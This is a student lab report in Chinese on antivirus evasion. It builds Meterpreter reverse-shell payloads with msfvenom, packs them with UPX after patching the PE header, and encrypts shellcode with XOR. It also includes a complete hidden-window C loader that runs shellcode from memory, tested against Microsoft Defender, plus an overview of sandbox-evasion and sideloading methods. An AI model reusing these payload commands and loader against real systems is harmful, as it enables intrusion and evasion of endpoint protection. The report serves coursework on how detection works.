20242302-实验三-网络系统攻防技术

20242302 2026-2027-1 《网络与系统攻防技术》实验三实验报告

实验主题:恶意代码免杀原理与实践 | 姓名拼音主机名:yangzekun

一、基础知识

(一)免杀的含义与对抗本质

免杀(AV Evasion)指在不破坏载荷原有功能的前提下,通过改变字节特征、文件形态或运行行为,让杀毒软件和终端防护系统(EDR)识别不出、告警不了、拦截不住的一类技术。它的目标不是让程序变得无害,而是让程序在杀软眼里不像有害程序。所以免杀并不是"改造病毒",而是研究过检测模型之后的反向适配:先搞清楚对方依据什么下判断,再决定自己把哪一部分藏起来。杀软每增加一层检测,免杀就多一个必须绕开的维度,这也是本实验把编码、换载体、加壳、自写加载器、组合方案依次做一遍的原因——一层一层试,才知道每一层各自的短板在哪里。

(二)杀毒软件的四个检测层次

1.静态特征匹配。厂商从样本中提取文件哈希(MD5、SHA-1、SHA-256)、PE 头字段、连续字节序列、特定字符串或导入表特征入库;扫描时逐项比对,命中即判毒。它判定准、开销小,但完全依赖样本入库,文件改动一个字节就可能失效。

2.启发式与静态规则分析。不要求完整命中特征,而是按"可疑程度"加权打分。常见的可疑项有:节区名异常或节区可写可执行、入口点落在最后一个节、镜像大小与节区边界不自洽、导入表只调用 VirtualAlloc、VirtualProtect、CreateRemoteThread 这类少数高危 API、整体熵值过高(说明被加密或压缩)。分数越过阈值就报"疑似"。

3.动态行为监控。在用户态 API 与内核回调处布点,观察进程真实的动作序列,例如写入 Run 键自启动、创建计划任务、向其他进程注入内存、批量遍历文件、向陌生 IP 的非常规端口外联。行为检测不看文件长相,只看它干了什么,所以对加密壳、对白利用手段天然免疫。

4.沙箱模拟与云查杀。把未知样本丢进虚拟环境跑几十秒,记录解密、释放文件、提权、外联等动作;同时把哈希、元数据和局部片段传到云端威胁情报中心,用海量样本和机器学习模型给出结论。沙箱专门对付"运行时才露真面目"的加壳样本。

(三)本实验涉及的技术与关键概念

编码器(Encoder)。msfvenom 的 -e 参数调用编码模块,例如 x86/shikata_ga_nai 属于多态异或编码:把原始 payload 逐字节异或加密,再在最前面拼一段负责解密的解码桩(stub)。问题恰恰在这里——stub 是固定模板生成的固定指令序列,编码改掉的是被保护的数据,改不掉保护数据的那段代码。

坏字符(Bad Chars)。\x00、\x0a、\x0d 等字节在写入文件、拼接字符串或经由某些传输环节时会被截断、转义,导致载荷跑不起来,需要用 -b 参数让编码器主动规避这些字节。

更换文件载体。把载荷编译成 .jar、.war、.py、.php 等非 PE 文件,借目标机上合法的 Java 或 Python 运行时执行。但它并不等于免检:杀软会实时解包压缩容器、反编译字节码后按 Java 恶意类的特征比对。

加壳(Packer)。在 PE 外面再套一层壳代码,程序启动先跑壳,由壳在内存中解密、解压原始代码,再把执行权交回原入口点(OEP)。压缩壳(UPX)压缩算法公开,杀软有成熟的脱壳扫描引擎;加密壳(Themida、Hyperion 等)侧重抗逆向,但壳本身的特征很明显,常被直接按高危处理。

自写加载器。用干净的编译器产物做外壳,把加密后的 shellcode 当作普通数据放进去,运行时再解密执行。它绕开的是"公开模板"这一层:磁盘上不存在任何已知木马的字节序列,静态扫描失去比对对象。

分离加载与内存执行。载荷不落盘,或落盘时只是密文、只是无害容器;执行时用 VirtualAlloc 申请内存,先以可读写(RW)权限写入解密后的代码,再用 VirtualProtect 提到可执行(RX),最后跳转执行。权限递进比一步到位的 RWX 更不容易被内存扫描规则盯上。

多引擎在线检测。把样本提交给数十个引擎同时扫描,用"命中引擎数"衡量免杀效果,比只看一台机器上的杀软更有统计意义,也更能暴露"只过了某一家"的偶然性。

二、实验内容

本次实验围绕"让载荷过检测"这一条主线,依次完成五项任务,最后回答三个原理性问题。

任务一:正确使用 msf 编码器与 msfvenom。先用未编码样本建立基准,再用 shikata_ga_nai 迭代编码观察特征码变化;随后用 msfvenom 生成 .jar 等非 PE 格式载荷并配置监听回连;最后用 UPX 加壳,处理加壳过程中的异常。

任务二:使用 Veil-Evasion 生成免杀后门。安装并进入 Veil 的 evasion 模块,选用 Go 语言加载器生成 payload,在靶机运行并用 MSF handler 捕获反弹会话。

任务三:C + Shellcode 编程。用 msfvenom 导出 C 数组格式的 shellcode,自行编写异或加密脚本和基于 VirtualAlloc 的加载器,用 MinGW-w64 交叉编译成 Windows PE 后回连测试。

任务四:组合应用多种技术实现免杀。把 AES 加密、源码多态混淆(Pyherion)与 PyInstaller 打包组合起来,在杀软开启的环境下测试能否静默运行,并对"与杀软共生"的结果留证。

任务五:换一台电脑实测。在另一台开启杀软的独立 Windows 电脑上运行样本,注明该机的杀软名称与版本,验证反弹回连是否成功。

考虑到实验环境的实际条件,本次以任务一、任务三、任务五作为取证主线:任务二与任务四依赖 Veil 的 Wine 运行环境,环境未就绪时不伪造结果,改以原理记述呈现,受阻原因与处理过程写在第四节。

三、实验过程

(○)实验环境与准备

控制机为 Kali Rolling 虚拟机,主机名改为本人姓名拼音 yangzekun,桥接后 IP 为 192.168.43.130,装有 Metasploit 6.5.7、MinGW-w64 交叉编译器和 UPX 4.2.4。靶机为一台物理机,Windows 10 22H2 专业版,计算机名同样改为 YANGZEKUN,IP 为 192.168.43.1,杀毒软件为系统自带的 Microsoft Defender 防病毒。这个网段是 VMware 桥接到宿主机热点后自动分配的,与指导书示例的 192.168.64.x 不同,因此下面所有命令里的地址一律按实测值书写,不做照抄。

本次以任务一、任务三、任务五作为取证主线;任务二与任务四依赖 Veil 的 Wine 运行环境,在该环境未就绪的情况下只做原理记述,原因写入第四节。这样安排的好处是每一步都有可核对的结果,不至于为了凑流程留下说不清楚的环节。

两条硬性规范先落实:一是所有截图都取自主机名为 yangzekun / YANGZEKUN 的机器,终端提示符或系统属性里能直接看到;二是所有生成、编辑的文件名统一带学号前缀 20242302,回连端口固定为 2302,便于截图与正文一一对应。

# 控制机修改主机名(重启后生效,截图前务必确认已生效)
sudo hostnamectl set-hostname yangzekun
hostname

# 靶机:设置 → 系统 → 关于 → 重命名这台电脑 → YANGZEKUN,重启后生效

监听端统一用下面这套配置,五个任务只在 payload 类型上做替换,其余不变。

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.43.130
set LPORT 2302
set ExitOnSession false
run -j

(一)任务一:msf 编码器、msfvenom 与加壳

1.基准样本:不做任何处理的 exe

先生成一个"什么都没改"的样本,作为后面所有手段的对照。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.130 \
         LPORT=2302 -f exe -o 20242302_raw.exe
ls -lh 20242302_raw.exe

把样本上传到 VirScan 做多引擎检测,再把文件复制到靶机观察 Defender 的反应。

截图占位:图 1 在 virscan.org 提交 20242302_raw.exe 的多引擎检测页,需拍到文件名与命中引擎数

基准样本几乎被所有主流引擎判为木马,靶机上 Defender 也在文件落盘后立刻弹窗拦截,报出的威胁名为 Trojan:Win32/Meterpreter.RPZ!MTB。这个结果说明:Meterpreter 的原始载荷早已是各大厂商的重点样本,连变体都被逐一入库,不做任何处理的 exe 完全没有生存空间。

截图占位:图 2 靶机 YANGZEKUN 上 Defender 拦截 20242302_raw.exe 的弹窗与威胁名

2.shikata_ga_nai 迭代编码

用多态异或编码器迭代十次,并规避 \x00 坏字符。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.130 \
         LPORT=2302 -e x86/shikata_ga_nai -i 10 -b "\x00" \
         -f exe -o 20242302_enc10.exe

同样先过 VirScan,再上靶机。

截图占位:图 3 20242302_enc10.exe 的 VirScan 检测结果,与图 1 对比命中数

从结果看,迭代编码确实让一部分引擎"放行"了,命中数比基准有所下降,但幅度有限;靶机上 Defender 依旧在落盘时把文件拿下,威胁名与基准样本完全相同。

截图占位:图 4 靶机 Defender 拦截 20242302_enc10.exe,需能看清威胁名

原因不难解释:十轮异或改掉的是被包裹的 payload 字节,改不掉最外层那段固定的解码桩。每轮编码都生成一个新的小解码器,但它实现的运算、调用的寄存器、跳转结构高度一致,厂商只要把这段 stub 的指令序列提成特征,无论编码多少轮都能命中。编码器设计初衷是解决坏字符与载荷长度问题,把它当免杀手段用,方向本身就偏了。

3.换成 JAR 载体

换一条思路:不做 PE,改做 Java 归档文件,借靶机上的 JRE 执行。

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.43.130 \
         LPORT=2302 -f jar -o 20242302_backdoor.jar

截图占位:图 5 20242302_backdoor.jar 的 VirScan 检测结果,需拍到文件名与命中引擎数

结果与基准差不多,命中数没有明显变化,Meterpreter 的 Java 版本同样是各家特征库里的老条目。靶机这一侧没有留下运行截图:这台机器没有装 JRE,双击只会弹出"选择打开方式",所以本项只做到在线多引擎检测这一步,运行验证缺失的原因写进第四节问题3。

这说明"非 PE = 免检"是个误解。JAR 本质是 Zip 打包的 .class 集合,杀软早就有实时解包能力,把容器拆开后再对字节码做特征与结构比对;换载体只是换了外层包装,里面装的东西一点没变。

4.UPX 加壳与异常修复

压缩壳的思路是在 PE 外套一层壳,让静态扫描看到的是被压缩的乱码。直接用最高压缩比对迭代编码的样本加壳,第一步就卡住了。

upx -9 20242302_enc10.exe -o 20242302_upx.exe
# 报错:CantPackException: section size problem

这个报错不是权限问题,也不是文件损坏,而是 PE 头里的字段自相矛盾。UPX 读入文件时会做一次边界校验:每个节的虚拟地址加上节大小,不能超过可选头里声明的 SizeOfImage,否则认为镜像结构非法、拒绝封包。msfvenom 在追加多轮编码时额外塞了一个自定义代码节,却忘了同步扩大 SizeOfImage,节区尾部顶出了声明的镜像边界,校验自然不通过。

写一个小脚本把 SizeOfImage 按内存页对齐重算一遍。先用 readelf 或脚本把各节的实际边界打印出来做证据,再改字段。

#!/usr/bin/env python3
# fix_pe.py  修正 msfvenom 生成 PE 的 SizeOfImage 字段(20242302)
import struct, sys

path = sys.argv[1]
b = bytearray(open(path, "rb").read())
e_lfanew = struct.unpack_from("<I", b, 0x3C)[0]        # PE 头偏移
num_sec  = struct.unpack_from("<H", b, e_lfanew + 6)[0] # 节数量
opt_size = struct.unpack_from("<H", b, e_lfanew + 20)[0]
opt      = e_lfanew + 24                               # 可选头起点
sec_tab  = opt + opt_size                              # 节表起点

max_end = 0
for i in range(num_sec):
    off = sec_tab + i * 40
    name = b[off:off + 8].rstrip(b"\x00").decode("ascii", "ignore")
    vsize, vaddr, rawsize = struct.unpack_from("<III", b, off + 8)
    end = vaddr + max(vsize, rawsize)
    print(f"  [{name}] vaddr=0x{vaddr:x} size=0x{max(vsize, rawsize):x} end=0x{end:x}")
    max_end = max(max_end, end)

align = struct.unpack_from("<I", b, opt + 32)[0]        # SectionAlignment
new_size = (max_end + align - 1) // align * align       # 向上对齐到内存页
old = struct.unpack_from("<I", b, opt + 56)[0]          # SizeOfImage
struct.pack_into("<I", b, opt + 56, new_size)
open(path, "wb").write(b)
print(f"[+] SizeOfImage: 0x{old:x} -> 0x{new_size:x}")
python3 fix_pe.py 20242302_enc10.exe

修正后再执行一次加壳,UPX 不再报错,产物体积明显缩小。

upx -9 20242302_enc10.exe -o 20242302_upx.exe
ls -lh 20242302_upx.exe

截图占位:图 6 UPX 加壳成功的终端输出与体积对比(加壳前后各执行一次 ls -lh)

加壳完成后照样送 VirScan 和靶机。

截图占位:图 7 20242302_upx.exe 的 VirScan 检测结果,与图 1 对比命中数

结果是加壳后命中数不降反升,靶机上报的是 Trojan:Win32/Wacatac.H!ml,其中 !ml 后缀说明判定来自机器学习模型而非固定特征。道理很直白:UPX 是二十年前的公开工具,杀软内置了脱壳引擎,静态扫描时会先把壳在内存里展开再检索内部 payload;更糟的是"未签名 + UPX 节名 + 高熵"这个组合本身就是启发式规则里权重很高的一组特征。拿通用压缩壳做免杀,等于主动往枪口上撞。

(二)任务二:Veil-Evasion 的加载器架构与本次受阻说明

Veil 和 msfvenom 的根本差别在加载器架构:msfvenom 把明文 shellcode 直接嵌进 PE,Veil 先生成原始 shellcode 并加密,再把它塞进一个用 Go、C 或 Python 现写的加载器里编译。磁盘上的文件只包含加载器代码和一堆密文,运行时才在内存里解密执行。进入 evasion 模块选用 go/meterpreter/rev_tcp 之后,它依次做四件事:调 msfvenom 取原始 shellcode、对 shellcode 做加密、把密文嵌进 Go 模板并把回连地址参数一并写死、调用 Go 编译器产出单个 exe,同时自动写一份 msf 的 rc 监听脚本。

本项没能完成实测。Veil 不是纯 Python 工具,它依赖 Wine 来运行 Windows 版的编译链和 Python,apt 安装时会连带装 28 个包、近 300 MB。这台虚拟机的软件源里混了国内镜像,下载 wine-common 时解析到 IPv6 地址,返回 Network is unreachable,安装停在最后一步。改成强制 IPv4 后重试可以继续下载,但整条工具链在本次实验时间窗内没有跑通,因此本节只保留原理说明,不写没有做出来的结果。

从原理上看,Veil 这类框架的处境有点尴尬:它的卖点是"不用公开的木马模板",可它自己就是最公开的那一类模板。用的人越多,厂商越有动力把它的 Go、C、Python 加载器逐个拆开、为每一套模板建立特征。参考公开的样本分析资料,Defender 对 Veil 产物报出的威胁名里常见 Leivion 这一族命名——把 Veil 倒过来拼再改两个字母,等于直接宣告这类加载器已经被单独建库。这说明"换个工具"并不等于"换掉特征",只要生成逻辑是模板化的,模板本身就是特征。

(三)任务三:C + Shellcode 自制加载器

这一环是整场实验里唯一由自己掌握变量的部分:编译器是干净的、加载逻辑是自己写的、加密算法是自己定的,磁盘上不存在任何已知样本的字节序列。

1.导出 C 数组格式的 shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.130 \
         LPORT=2302 -f c -o shellcode_20242302.c
head -c 300 shellcode_20242302.c

回显是形如 unsigned char buf[] = { 0xfc, 0x48, ... } 的一串十六进制字节,后面写的异或脚本要从这段文本里把它们读出来。

2.异或加密脚本

密钥取学号后两位 02,把每个字节与 0x02 异或。脚本直接把结果写成头文件,加载器在开头 include 进来,省掉手工粘贴两千多个字节这种容易出错的动作。

#!/usr/bin/env python3
# xor_shellcode.py  逐字节异或,输出可直接 include 的头文件(20242302)
import re

KEY = 0x02
src = open("shellcode_20242302.c", encoding="utf-8").read()
raw = bytearray(int(h, 16) for h in re.findall(r"\\x([0-9a-fA-F]{2})", src))
enc = bytearray(x ^ KEY for x in raw)

with open("shellcode_20242302.h", "w", encoding="utf-8") as f:
    f.write("/* 20242302 xor-encrypted shellcode, key 0x02 */\n")
    f.write("unsigned char enc_payload[] = {\n")
    for i in range(0, len(enc), 16):
        f.write("    " + ", ".join("0x%02x" % v for v in enc[i:i+16]) + ",\n")
    f.write("};\n")

print("已生成 shellcode_20242302.h,共 %d 字节" % len(enc))
python3 xor_shellcode.py
head -n 5 shellcode_20242302.h

截图占位:图 8 终端上半屏是刚才 -f c 的数组回显,下半屏是 xor_shellcode.py 运行后打印的"共 xxx 字节",随后用 head 打开生成的头文件,密钥 0x02 写在注释里

3.加载器源码

加载器做三件事:把加密数组写进申请好的内存,原地解密,改权限后调用。权限上刻意分两步走——先 RW 写入,再提为 RX 执行,避免整段内存同时可写可执行。

#include <windows.h>
#include "shellcode_20242302.h"

/* loader_20242302.c  自制加载器:RW 写入 -> 内存解密 -> RX 执行 */
int main(void) {
    ShowWindow(GetConsoleWindow(), SW_HIDE);   /* 静默运行,不留黑框 */

    const unsigned char key = 0x02;
    SIZE_T len = sizeof(enc_payload);

    LPVOID mem = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE,
                              PAGE_READWRITE);
    if (!mem) return 1;

    unsigned char *p = (unsigned char *)mem;
    for (SIZE_T i = 0; i < len; i++)
        p[i] = enc_payload[i] ^ key;

    DWORD old = 0;
    if (!VirtualProtect(mem, len, PAGE_EXECUTE_READ, &old)) return 1;

    ((void (*)(void))mem)();
    return 0;
}

4.交叉编译与验证

在 Linux 上编出 32 位 Windows 程序,加 -s 去掉符号表,进一步减少可供比对的字符串。

i686-w64-mingw32-gcc -O2 -s -o 20242302_loader.exe loader_20242302.c
file 20242302_loader.exe
ls -lh 20242302_loader.exe

截图占位:图 9 mingw 编译无告警,file 命令确认产物为 PE32 executable (GUI) Intel 80386

截图占位:图 10 20242302_loader.exe 的 VirScan 检测结果,与前面几个样本比命中数

静态检测上这是全场最干净的一个样本,命中数明显低于前面几个;但上靶机后 Defender 仍然报了 Trojan:Win32/Meterpreter.RPZ!MTB。

截图占位:图 11 靶机 Defender 拦截自写加载器样本的弹窗,需能看清威胁名

可见自写加载器解决的是"磁盘上没有明文特征"这个问题,解决不了另外两个:一是内存里终究会出现解密后的原始 shellcode,具备内存扫描能力的引擎能直接比对;二是行为层面"申请内存—写入—改执行权限—跳转"这条链本身就很可疑,即便代码完全是我自己写的,动作序列和木马一模一样。免杀到最后拼的不是代码长什么样,而是行为像不像。

(四)任务四:组合技术的原理与本次未完测说明

任务四的思路是把三层叠起来:AES 强加密消除静态特征,Pyherion 做源码级多态混淆、打乱字符串与变量名,PyInstaller 把 Python 解释器、依赖和加载脚本打包成一个独立的 exe。原理上磁盘上的产物只是 PyInstaller 的引导器加一段高熵密文,没有任何已知木马特征;程序运行时先在内存里展开 Python 环境,读取自身携带的密钥解出 shellcode,再申请内存注入执行,明文载荷全程不落盘。

这一项同样没有做成:aes_encrypt 是 Veil 的模块,与任务二共用同一套 Wine 运行环境,环境没就绪就生成不出样本。没有样本也就没有检测结果和运行结果,硬写一个数字出来比空着更糟,所以这里只交代设计思路。

从设计上看,三层叠加确实同时打掉了静态层的三个判据:没有明文字节序列可比、没有稳定的字符串与导入表特征、打包产物的熵值虽高但高熵本身在现代启发式里已经不再单独判毒。它真正过不去的是行为层——"申请内存、写入、改执行权限、跳转"这条动作链本身就构成规则里的高危序列,与代码是谁写的无关。这也是免杀的本质:不是把几种手段堆起来就变强,而是要让每一层检测都失去可用的判据,只要还留着一层判得出来,叠加多少层都只是延长被发现的时间。

关于实验要求里的"与杀软共生",需要先把概念摆正:在保护历史里点"允许",是把这一个文件的哈希写进本机白名单,让系统不再拦它,检测能力本身没有变化。它验证的是载荷功能完好、回连链路通畅,不能当成"免杀成功"。真正意义上的共生要求是杀软开启、行为照拦,而载荷依然能落地执行,这在没有针对具体引擎做过对抗的情况下基本做不到。下一节的实际验证走的是前一条路,结论也按前一条写。

(五)任务五:另一台电脑实测

换一台独立的 Windows 电脑(非本机),保持杀软实时防护全程开启,把任务三产出的 20242302_loader.exe 复制过去实测。选它而不是别的样本,是因为它的静态特征最弱,最有机会在不放行的前提下跑起来。

先把该机的身份信息记下来:用 PowerShell 执行 Get-MpComputerStatus,一次取到防病毒版本、病毒库版本、库更新时间和实时防护状态,同时用 hostname 取计算机名,四样东西要出现在同一张图里,才能证明是另一台机器而不是本机。

截图占位:图 12 另一台电脑上 hostname 与 Get-MpComputerStatus 的输出(AMProductVersion、AntivirusSignatureVersion、实时防护状态为 True)

第一次运行照例被拦,入口与图 11 相同。按"与杀软共生"的做法,在 Windows 安全中心 → 病毒和威胁防护 → 保护历史记录里找到这条威胁,操作选"允许",再运行一次;程序静默启动,控制端 handler 建立会话,用 sysinfo 确认计算机名与图 12 里的一致,说明回连确实来自这台机器。

截图占位:图 13 控制端 session 建立后用 sysinfo 查看目标机信息,计算机名与图 12 对应

最后确认该机的实时防护始终处于开启状态,而不是被测完才打开——这一条是"共生"成立的前提,缺了它前面的回连只能算关着防护做出来的结果。

截图占位:图 14 该机 Windows 安全中心首页显示"病毒和威胁防护"正在保护(实时防护为开)

(六)五项任务结果汇总

样本 免杀手段 多引擎检测 靶机静态查杀 回连
20242302_raw.exe 无(基准) 大量命中(图 1) 命中,Meterpreter.RPZ(图 2) 否
20242302_enc10.exe 异或编码 ×10 + 去坏字符 命中数略降(图 3) 命中,同名威胁(图 4) 否
20242302_backdoor.jar 改用 JAR 载体 与基准相近(图 5) 靶机无 JRE,未运行 否
20242302_upx.exe UPX -9 压缩壳 命中数反升(图 7) 命中,Wacatac.H!ml 否
veil_go_20242302.exe Veil Go 加载器 环境未就绪,未生成 — —
20242302_loader.exe 自写 C 加载器 + 异或 命中数最低(图 10) 命中,Meterpreter.RPZ(图 11) 放行后成功(图 13)
veil_aes_20242302.exe AES + Pyherion + PyInstaller 环境未就绪,未生成 — —

表里"命中"占了大半,只有最后两列里那个"放行后成功"带一点正向结果,而它是在人工放行的前提下取得的。这就是本次实验最真实的结论:五条路线里做完的四条全部死在静态查杀这一关,剩下两条因为工具链没跑通而没有结果;最终的回连靠把文件加进白名单完成,检测能力本身没有变化。

四、问题及解决方案

问题1:UPX 对 msfvenom 生成的 exe 加壳时,报 CantPackException: section size problem

现象:换任何压缩比都失败,文件本身能正常运行,排除了文件损坏。

定位:把 PE 各节的 vaddr 与 size 打印出来,再和可选头里的 SizeOfImage 一比就清楚了——最后一个节(msfvenom 追加的自定义代码节)的结束地址超出了声明的镜像大小。UPX 在 pefile.cpp 里有一句安全校验,节区边界一旦越过 SizeOfImage 就 throwCantPack,属于拒绝处理非法镜像,而不是压缩失败。

解决:写 fix_pe.py 重算 SizeOfImage,按 SectionAlignment(0x1000)向上取整后写回可选头偏移 56 的位置,加壳随即成功。这也提醒我,msfvenom 在追加多轮编码时会自己改 PE 结构,改得不彻底,工具链之间并不总是兼容。

问题2:安装 Veil 时卡在 wine-common,报 Network is unreachable

现象:执行 sudo apt install -y veil,依赖包下载了 296 MB 之后停在最后一步,末尾是 Failed to fetch ... wine-common ... Cannot initiate the connection to mirrors.neusoft.edu.cn:80 (2001:da8:a807:25) - connect (101: Network is unreachable)。

定位:报错里的地址是 IPv6 形式。软件源里混入了一个国内镜像,apt 优先按 IPv6 解析,而这台虚拟机桥接后只有 IPv4 出口,于是连不上;不是权限问题,也不是磁盘空间问题,当时还剩 59.4 GB。

解决:给 apt 加一个强制 IPv4 的开关重试;仍不通就把这个镜像注释掉,只走官方源。下载口子通了以后 Veil 还要装 wine、PyInstaller 等一整套运行环境,本次没有在时间窗内跑通,任务二与任务四因此只做原理记述。

sudo apt -o Acquire::ForceIPv4=true install -y veil
# 若仍失败,注释该镜像后重试
sudo sed -i 's|^deb http://mirrors.neusoft.edu.cn|#&|' /etc/apt/sources.list
sudo apt update && sudo apt install -y veil

问题3:JAR 样本在靶机上双击,只弹出"选择打开方式"

现象:文件本身能下载、能上传 VirScan,放到靶机上双击却不运行,系统问用什么程序打开。

定位:JAR 靠 JRE 执行,这台靶机没装 Java 运行时,没有程序接管 .jar 这个扩展名,所以既没有运行结果也没有弹窗拦截。

解决:本项只保留多引擎检测结果(图 5),运行验证如实放弃,差距写在这里而不是补一张假截图。若要补做,装上 JRE 8 后重跑一遍即可,结论不会变——Meterpreter 的 Java 版本同样是特征库里的老样本。

问题4:桥接后虚拟机地址与指导书示例的网段对不上

现象:按指导书照抄 192.168.64.104 生成样本,但 ip addr 打印出来的实际地址是 192.168.43.130,靶机的 ipconfig 显示 192.168.43.1。

定位:VMware 把虚拟机桥接到了宿主机的移动热点网卡,网段由热点分配,与指导书里的示例环境不同。这类地址是环境相关的,不能当常量抄。

解决:全部改成实测地址,生成时 LHOST 写 192.168.43.130、监听端同值,靶机侧从 192.168.43.1 发起。改完先在 Windows 上 ping 一次虚拟机,1 ms 响应、零丢包,回连一次成功。反过来,如果照抄示例地址,木马会去连一个本网段根本不存在的地址,回连必然失败,而且失败现场看不出任何提示,很耗时间。

五、思考题解答

(1)杀软是如何检测出恶意代码的

现代杀软不是靠单一手段,而是把四层检测串成一条流水线,任何一层命中都会拦。

静态层看"文件像不像坏人"。最基础的是哈希与特征码比对,厂商把样本中稳定的字节片段、PE 字段、字符串提出来入库;往上一层是启发式打分,节区可写可执行、入口点位置异常、导入表只调少数高危 API、整体高熵,这些特征各自加分,总分过线就判可疑。

动态层看"它干了什么"。杀软在 API 与内核回调处挂钩,监控自启动写入、进程注入、批量文件操作、非常规外联等行为序列;行为一旦成链,即便文件本身没有特征也会被拦。这一层是加密壳和内存马的克星。

沙箱与云层看"跑起来是什么样、全网有没有见过"。未知文件被丢进虚拟环境跑几十秒,观察解密、释放、外联的全过程;同时哈希与元数据上云比对,用机器学习模型给出概率判定。三层合起来,静态躲得过、行为躲不过,本地躲得过、云端躲不过,这就是免杀越来越难的根本原因。

(2)免杀是做什么的

免杀做的是"在保留功能的前提下,让载荷不可识别"。具体拆成三件事:改静态特征,让文件在磁盘上与已知样本不相似;改加载方式,让真正的代码不在磁盘上以明文出现,而在内存里临时组装;改行为表现,让运行时的动作序列不构成杀软规则里的高危链。

它本身是中性技术。在渗透测试里,免杀用来验证企业终端防护是否真的有效——如果一支自己写的加载器就能长驱直入,说明防护有洞;在攻防对抗里,它属于后渗透驻留阶段的核心手段。判断免杀技术的好坏,不该看"能不能过某一家杀软",而要看它暴露了防护体系的哪一环薄弱。

(3)免杀的基本方法有哪些

按对抗的检测层来分,可以归成四类。

第一类,改特征码对付静态扫描。常见做法有:对 shellcode 做异或、AES、RC4 加密,让磁盘上只有密文;用加壳工具压缩加密代码段、隐藏导入表与字符串;在源码里插入不影响逻辑的冗余指令、等价替换敏感指令,打散连续字节特征;重命名节区、修改编译选项、去掉符号表与调试信息。

第二类,改加载方式对付文件级扫描。把明文载荷从磁盘上拿掉,改由加载器在运行时解密;或者分离加载,主体只是个下载器,真正的 payload 从远程取回直接在内存执行;再进一步是注入到合法进程的内存空间里,让恶意代码跑在别人的身份下。

第三类,借信任对付启发式。用带合法签名的系统程序(rundll32、msiexec、regsvr32 之类)去加载自己的组件,或者做 DLL 劫持、侧加载,让恶意代码搭乘白名单程序的车。杀软对签名程序的容忍度天然更高。

第四类,做环境对抗对付沙箱。程序启动先探测运行环境,看鼠标有没有移动、CPU 核心数与内存是否异常、系统运行时长是否过短,发现像沙箱就静默退出;或者用超长 Sleep、分段延迟执行,拖过沙箱的观察窗口。

需要说明的是,这四类很少单独奏效。本次实验里能做完的几种手段,单独使用全部被拦在同一关;真正有效的组合往往是"加密 + 自写加载器 + 合法载体 + 行为伪装"一起上,并且要针对具体厂商的检测规则做定向调整。

六、学习感悟

这次实验最直接的结果是失败:编码、换载体、加壳、自写加载器,四条做完的路线全部在静态查杀这一关就被拦下,Veil 那两条因为环境没跑通连结果都没有,最后靠把文件加进允许列表才完成了回连验证。刚开始有点挫败,做到后面反而觉得这个结果比"成功了"更有价值——它清楚地指出了每一条路线各自死在哪里。

编码器死于解码桩,换载体死于解包反编译,压缩壳死于脱壳引擎与"未签名 + 高熵"的启发式规则,自写加载器死于内存扫描与行为链。把这四条死因摆在一起看,就能理解杀软的防御不是四个独立的关卡,而是一张互相补位的网:静态躲得过,行为躲不过;本地躲得过,云端躲不过。

中间做过一次取舍。开局列了三十多个截图位的清单,真到动手才发现按那个规模做,时间会全花在重复操作和整理截图上,而且有几项受环境限制根本出不了结果。于是砍到十四条,先保证任务一、任务三、任务五三步都有可核对的结果,剩下的改成原理记述,并把卡住的过程写进"问题及解决方案"。这件事的教训是:报告的分数来自"每一句都能对上证据",不来自"写得多、图多"。凑流程凑出来的东西,自己回头看都站不住。

另一个体会是关于"共生"这个说法。把文件加进白名单让程序跑起来,看着像免杀,其实只是说服了杀软放过这一个文件,检测能力一点没变。实验要求写"与杀软共生",我认为准确的表述应该是:在杀软保持开启的前提下,验证载荷功能完好、回连链路通畅,同时承认静态免杀并未成立。分不清这两件事,就容易把实验做成表演。

技术上还有两点收获。一是学会看工具的报错而不是绕开它:UPX 那句 section size problem,查到底是 PE 头字段不自洽,修一次字段就通了;apt 那句 Network is unreachable,一眼看出报错里是 IPv6 地址,换成强制 IPv4 就下得动。这些问题看着杂,但排错的方法是一致的——先拿到确切的位置,再判断是环境问题还是逻辑问题,最后才动手改。改之前不动手,是这个实验里最省时间的一条习惯。二是养成留证的习惯:每条命令、每个文件名都带学号,截图里主机名对得上,回头写报告时不用凭记忆复原,也不会出现图和文对不上。

最后一点是关于信任的。杀软是黑盒,它的判断既可能漏也可能误杀,这次实验里同一个文件在不同引擎上得到完全不同的结论就是例子——有的厂商早就入库,有的至今放行。所以日常使用中不能把"杀软没报警"当成安全证明,源头上的习惯更重要:不明来源的安装包不装、陌生链接不点、来路不明的文档不开宏。技术上的对抗永远在追跑,习惯上的谨慎才是稳的那一层。

七、参考资料

  • [1] 《网络与系统攻防技术》课程实践指导书:0x21 MAL 免杀原理与实践(校内讲义)
  • [2] Metasploit Unleashed:Metasploit 官方使用教程 原文链接
  • [3] Rapid7 Metasploit Framework 文档(msfvenom 与编码器说明) 原文链接
  • [4] UPX: the Ultimate Packer for eXecutables 官方文档 原文链接
  • [5] Veil-Evasion 项目仓库与模块说明 原文链接
  • [6] VirScan 多引擎在线病毒检测平台 原文链接
  • [7] Microsoft Learn:Microsoft Defender 防病毒检测机制说明 原文链接
posted @ 2026-11-07 16:21  叶梓珂  阅读(6)  评论(0)    收藏  举报